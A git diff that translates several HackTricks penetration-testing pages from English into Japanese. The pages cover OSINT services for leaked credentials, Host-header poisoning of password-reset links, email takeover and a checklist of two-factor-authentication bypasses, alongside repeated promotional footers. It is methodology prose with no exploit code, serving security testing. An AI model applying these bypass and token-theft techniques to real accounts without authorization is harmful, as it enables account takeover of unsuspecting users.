+過去にメールが表示されたペーストビンを検索します。 +商用? # [emailrep.io](https://emailrep.io/key) -Get reputation of a mail. Commercial? +メールの評判を取得します。 +商用? # [ghostproject](https://ghostproject.fr/) -Get passwords from leaked emails. Commercial? +漏洩したメールからパスワードを取得します。 +商用? # [Binaryedge](https://www.binaryedge.io/) -Obtain interesting info from IPs +IPから興味深い情報を取得します。 # [haveibeenpwned](https://haveibeenpwned.com/) -Search by domain and email and get if it was pwned and passwords. Commercial? +ドメインやメールで検索し、漏洩したかどうかとパスワードを取得します。 +商用? -[https://dnsdumpster.com/](https://dnsdumpster.com/)\(in a commercial tool?\) +[https://dnsdumpster.com/](https://dnsdumpster.com/)\(商用ツール内?\) -[https://www.netcraft.com/](https://www.netcraft.com/) \(in a commercial tool?\) +[https://www.netcraft.com/](https://www.netcraft.com/) \(商用ツール内?\) -[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(in a commercial tool?\) +[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(商用ツール内?\) +- **[💬](https://emojipedia.org/speech-balloon/)Discordグループ**に参加するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **あなたのハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
- - diff --git a/other-web-tricks.md b/other-web-tricks.md index e1cebf4b8..ea08f0492 100644 --- a/other-web-tricks.md +++ b/other-web-tricks.md @@ -1,45 +1,45 @@ -# Other Web Tricks +# その他のウェブトリック
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。 +* **ハッキングのトリックを共有する**には、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
-### Host header +### ホストヘッダー -Several times the back-end trust the **Host header** to perform some actions. For example, it could use its value as the **domain to send a password reset**. So when you receive an email with a link to reset your password, the domain being used is the one you put in the Host header.Then, you can request the password reset of other users and change the domain to one controlled by you to steal their password reset codes. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). +バックエンドは、何らかのアクションを実行するために**ホストヘッダー**を信頼することがあります。たとえば、**パスワードリセットの送信先ドメイン**としてその値を使用することがあります。したがって、パスワードをリセットするためのリンクが含まれたメールを受け取った場合、使用されているドメインはホストヘッダーに入力したものです。そのため、他のユーザーのパスワードリセットをリクエストし、ドメインを自分が制御するドメインに変更して、彼らのパスワードリセットコードを盗むことができます。[WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2)。 {% hint style="warning" %} -Note that it's possible that you don't even need to wait for the user to click on the reset password link to get the token, as maybe even **spam filters or other intermediary devices/bots will click on it to analyze it**. +ユーザーがリセットパスワードリンクをクリックするのを待つ必要はないかもしれません。**スパムフィルターや他の中間デバイス/ボットがリンクをクリックして分析する**可能性があります。 {% endhint %} -### Session booleans +### セッションブール値 -Some times when you complete some verification correctly the back-end will **just add a boolean with the value "True" to a security attribute your session**. Then, a different endpoint will know if you successfully passed that check.\ -However, if you **pass the check** and your sessions is granted that "True" value in the security attribute, you can try to **access other resources** that **depends on the same attribute** but that you **shouldn't have permissions** to access. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). +バックエンドがいくつかの検証を正しく完了すると、セッションに**値が「True」のブール値をセキュリティ属性として追加**することがあります。その後、別のエンドポイントは、そのチェックに成功したかどうかを知ることができます。\ +ただし、チェックに合格し、セッションがセキュリティ属性に「True」の値を持つ場合、**アクセス権を持っていないはずの同じ属性に依存する他のリソースにアクセス**を試みることができます。[WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a)。 -### Register functionality +### 登録機能 -Try to register as an already existent user. Try also using equivalent characters (dots, lots of spaces and Unicode). +既に存在するユーザーとして登録してみてください。また、同等の文字(ドット、多くのスペース、Unicode)を使用してみてください。 -### Takeover emails +### メールの乗っ取り -Register an email, before confirming it change the email, then, if the new confirmation email is sent to the first registered email,you can takeover any email. Or if you can enable the second email confirming the firt one, you can also takeover any account. +メールを登録し、確認する前にメールを変更してください。その後、新しい確認メールが最初に登録したメールに送信される場合、任意のメールを乗っ取ることができます。または、最初のメールを有効にすることができれば、2番目のメールを確認して任意のアカウントを乗っ取ることもできます。 -### Access Internal servicedesk of companies using atlassian +### Atlassianを使用した企業の内部サービスデスクへのアクセス {% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %} -### TRACE method +### TRACEメソッド -Developers might forget to disable various debugging options in the production environment. For example, the HTTP `TRACE` method is designed for diagnostic purposes. If enabled, the web server will respond to requests that use the `TRACE` method by echoing in the response the exact request that was received. This behaviour is often harmless, but occasionally leads to information disclosure, such as the name of internal authentication headers that may be appended to requests by reverse proxies.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20) +開発者は、本番環境でさまざまなデバッグオプションを無効にするのを忘れることがあります。たとえば、HTTPの`TRACE`メソッドは診断目的で設計されています。有効になっている場合、Webサーバーは`TRACE`メソッドを使用するリクエストに対して、受信した正確なリクエストをレスポンスでエコーします。この動作は通常無害ですが、場合によっては、リバースプロキシによってリクエストに追加される内部認証ヘッダーの名前など、情報の漏洩につながることがあります。![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20) ![Image for post](https://miro.medium.com/max/1330/1\*wDFRADTOd9Tj63xucenvAA.png) @@ -48,10 +48,8 @@ Developers might forget to disable various debugging options in the production e ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - - +* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。 +* **ハッキングのトリックを共有する**には、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlo diff --git a/pentesting-dns.md b/pentesting-dns.md index ca95f8fd3..b3de80848 100644 --- a/pentesting-dns.md +++ b/pentesting-dns.md @@ -1,27 +1,25 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-**Research more about attacks to DNS** +**DNSへの攻撃についてさらに調査する** -**DNSSEC and DNSSEC3** +**DNSSECとDNSSEC3** -**DNS in IPv6** +**IPv6におけるDNS** @@ -29,16 +27,14 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/pentesting-web/2fa-bypass.md b/pentesting-web/2fa-bypass.md index 46f00098e..d6cde08ed 100644 --- a/pentesting-web/2fa-bypass.md +++ b/pentesting-web/2fa-bypass.md @@ -1,131 +1,127 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
-# **Bypassing two-factor authentication** +# **2要素認証のバイパス** -## **Direct bypass** +## **直接バイパス** -To bypass 2FA, just **try to access the next endpoint directly** (you need to know the path of the next endpoint). If this doesn't work, try to change the **Referrer header** as if you came from the 2FA page. +2FAをバイパスするには、次のエンドポイントに直接アクセスしてみてください(次のエンドポイントのパスを知る必要があります)。これが機能しない場合は、2FAページから来たかのように**リファラーヘッダー**を変更してみてください。 -## **Reusing token** +## **トークンの再利用** -Maybe you can reuse a previously used token inside the account to authenticate. +以前にアカウント内で使用されたトークンを再利用して認証することができるかもしれません。 -## Sharing unused tokens +## 未使用のトークンの共有 -Check if you can get the token from your account and try to use it to bypass the 2FA in a different account. +アカウントからトークンを取得し、別のアカウントで2FAをバイパスするために使用できるか確認してください。 -## Leaked Token +## リークしたトークン -Is the token leaked on a response from the web application? +トークンはWebアプリケーションのレスポンスで漏洩しているかどうかを確認してください。 -## Session permission +## セッションの権限 -Using the same session start the flow using your account and the victim's account. When reaching the 2FA point on both accounts, complete the 2FA with your account but do not access the next part. Instead of that, try to access the next step with the victim's account flow. If the back-end only set a boolean inside your sessions saying that you have successfully passed the 2FA you will be able to bypass the 2FA of the victim. +同じセッションを使用して、自分のアカウントと被害者のアカウントでフローを開始します。両方のアカウントで2FAポイントに到達したら、自分のアカウントで2FAを完了させずに次のステップにアクセスしようとしてください。その代わりに、被害者のアカウントのフローで次のステップにアクセスしようとしてください。バックエンドがセッション内のブール値を設定して、2FAを正常にパスしたことを示している場合、被害者の2FAをバイパスすることができます。 -## **Password reset function** +## **パスワードリセット機能** -In almost all web applications the **password reset function automatically logs the user into the application** after the reset procedure is completed.\ -Check if a **mail **is sent with a **link **to **reset the password** and if you can **reuse** that **link **to reset the password as **many times as you want** (even if the victim changes his email address). +ほとんどのWebアプリケーションでは、パスワードリセット機能はリセット手順が完了した後にユーザーを自動的にアプリケーションにログインします。メールが送信され、パスワードをリセットするためのリンクが含まれているかどうかを確認し、被害者がメールアドレスを変更しても、そのリンクを使用してパスワードを何度でもリセットできるかどうかを確認してください。 ## OAuth -If you can compromise the account of the user in a trusted **OAuth** platform (Google, Facebook...) +信頼された**OAuth**プラットフォーム(Google、Facebookなど)でユーザーのアカウントを侵害できる場合 -## Brute force +## ブルートフォース -### Lack of Rate limit +### レート制限の不足 -Is there any limit on the number of codes that you can try, so you can just brute force it? Be careful with a possible "silent" rate limit, always try several codes and then the real one to confirm the vulnerability. +試行することができるコードの数に制限がある場合、単純にブルートフォースできます。潜在的な「サイレント」レート制限に注意して、実際のコードを確認するためにいくつかのコードを試し、その後本物のコードを試してください。 -### Flow rate limit but no rate limit +### フローレート制限があるがレート制限がない場合 -In this case, there is a flow rate limit (you have to brute force it very slowly: 1 thread and some sleep before 2 tries) but no rate limit. So with enough time, you can be able to find the valid code. +この場合、フローレート制限があります(非常にゆっくりとブルートフォースする必要があります:1つのスレッドと2回の試行前に一定時間スリープします)が、レート制限はありません。したがって、十分な時間があれば、有効なコードを見つけることができます。 -### Re-send code and reset the limit +### コードの再送信と制限のリセット -There is a rate limit but when you "resend the code" the same code is sent and the rate limit is reset. Then, you can brute force the code while you resend it so the rate limit is never reached. +レート制限があるが、「コードを再送信」すると同じコードが送信され、レート制限がリセットされます。そのため、コードを再送信する間にコードをブルートフォースして、レート制限に達することはありません。 -### Client side rate limit bypass +### クライアント側のレート制限バイパス {% content-ref url="rate-limit-bypass.md" %} [rate-limit-bypass.md](rate-limit-bypass.md) {% endcontent-ref %} -### Lack of rate limit in the user's account +### ユーザーアカウントのレート制限の不足 -Sometimes you can configure the 2FA for some actions inside your account (change mail, password...). However, even in cases where there is a rate limit when you tried to log in, there isn't any rate limit to protect actions inside the account. +自分のアカウント内の一部のアクション(メールの変更、パスワードの変更など)に2FAを設定できる場合があります。ただし、ログインしようとしたときにレート制限がある場合でも、アカウント内のアクションを保護するためのレート制限はありません。 -### Lack of rate limit re-sending the code via SMS +### SMS経由でのコード再送信のレート制限の不足 -You won't be able to bypass the 2FA but you will be able to waste the company's money. +2FAをバイパスすることはできませんが、会社のお金を無駄にすることはできます。 -### Infinite OTP regeneration +### 無限のOTP再生成 -If you can **generate a new OTP infinite times**, the** OTP is simple enough** (4 numbers), and you can try up to 4 or 5 tokens per generated OTP, you can just try the same 4 or 5 tokens every time and generate OTPs until it matches the ones you are using. +新しいOTPを無限に生成でき、OTPが十分に単純(4桁の数字)であり、生成されたOTPごとに4つまたは5つのトークンを試すことができる場合、毎回同じ4つまたは5つのトークンを試して、使用しているトークンと一致するまでOTPを生成し続けることができます。 -## CSRF/Clickjacking +## CSRF/クリックジャッキング -Check if there is a Cross Site Request Forgery (CSRF) or a Clickjacking vulnerability to disable the 2FA. +2FAを無効にするためのクロスサイトリクエストフォージェリ(CSRF)またはクリックジャッキングの脆弱性があるかどうかを確認してください。 -## Remember me functionality +## ログイン状態の保持機能 -### Guessable cookie +### 推測可能なクッキー -If the "remember me" functionality uses a new cookie with a guessable code, try to guess it. +「ログイン状態の保持」機能が推測可能なコードを使用する場合、それを推測してみてください。 -### IP address +### IPアドレス -If the "remember me" functionality is attached to your IP address, you can try to figure out the IP address of the victim and impersonate it using the **X-Forwarded-For** header. +「ログイン状態の保持」機能がIPアドレスに関連付けられている場合、被害者のIPアドレスを特定し、**X-Forwarded-For**ヘッダーを使用してそれをなりすますことができます。 -## Older versions +## 古いバージョン -### Subdomains +### サブドメイン -If you can find some "testing" subdomains with the login functionality, they could be using old versions that don't support 2FA (so it is directly bypassed) or those endpoints could support a vulnerable version of the 2FA. +ログイン機能を持つ「テスト」サブドメインを見つけることができれば、2FAをサポートしていない古いバージョンを使用している可能性があります(そのため、直接バイパスされる)またはそれらのエンドポイントが2FAの脆弱なバージョンをサポートしている可能性があります。 -### APIs +### API -If you find that the 2FA is using an API located under a /v\*/ directory (like "/v3/"), this probably means that there are older API endpoints that could be vulnerable to some kind of 2FA bypass. +2FAが/v\*/ディレクトリ("/v3/"のような)の下にあるAPIを使用している場合、おそらく2FAのバイパスに脆弱な古いAPIエンドポイントが存在することを意味します。 +## 前のセッション -## Previous sessions +2FAが有効になっている場合、前のセッションは終了する必要があります。これは、クライアントがアカウントを侵害された場合、2FAを有効にして保護したい場合でも、前のセッションが終了していないと保護されません。 -When the 2FA is enabled, previous sessions created should be ended. This is because when a client has his account compromised he could want to protect it by activating the 2FA, but if the previous sessions aren't ended, this won't protect him. +## バックアップコードへの不適切なアクセス制御 -## Improper access control to backup codes +バックアップコードは、2FAが有効になった直後に生成され、単一のリクエストで利用可能です。後続のリクエストごとに、コードは再生成されるか変更されないまま(静的コード)になる場合があります。CORSの設定ミスやXSSの脆弱性、および他のバグにより、バックアップコードエンドポイントのレスポンスリクエストからバックアップコードを「引っ張る」ことができる場合、攻撃者はコードを盗み、ユーザー名とパスワードがわかっている場合に2FAをバイパスすることができます。 -Backup codes are generated immediately after 2FA is enabled and are available on a single request. After each subsequent call to the request, the codes can be regenerated or remain unchanged (static codes). If there are CORS misconfigurations/XSS vulnerabilities and other bugs that allow you to “pull” backup codes from the response request of the backup code endpoint, then the attacker could steal the codes and bypass 2FA if the username and password are known. +## 情報漏洩 -## Information Disclosure +2FAページに以前知らなかった機密情報(電話番号など)が表示される場合、これは情報漏洩の脆弱性と見なされる可能性があります。 -If you notice some confidential information appear on the 2FA page that you didn't know previously (like the phone number), then this can be considered an information disclosure vulnerability. +## **パスワードリセット == 2FAの無効化** -## **Password-Reset == disable 2FA** +1. アカウントを作成し、2FAをオンにします。 +2. そのアカウントからログアウトします。 +3. パスワードリセットページに移動します。 +4. パスワードを変更します。 +5. 今度はログインしてみてください。 +6. 2FAコードの入力を求められない場合、報告できます。 -1. Create an Account and Turn On 2FA. -2. Logout from that account. -3. Now, Go to forget Password-Reset page. -4. Change your password. -5. Now try to log in. -6. If you are not asked to enter a 2FA code, You can report. - -# References +# 参考文献 {% embed url="https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35" %} @@ -136,16 +132,14 @@ If you notice some confidential information appear on the 2FA page that you didn ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**または**[telegramグループ](https://t.me/peass)**に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/pentesting-web/abusing-hop-by-hop-headers.md b/pentesting-web/abusing-hop-by-hop-headers.md index 47dbfea76..5d26adde5 100644 --- a/pentesting-web/abusing-hop-by-hop-headers.md +++ b/pentesting-web/abusing-hop-by-hop-headers.md @@ -1,73 +1,66 @@ -# hop-by-hop headers +# ホップバイホップヘッダー
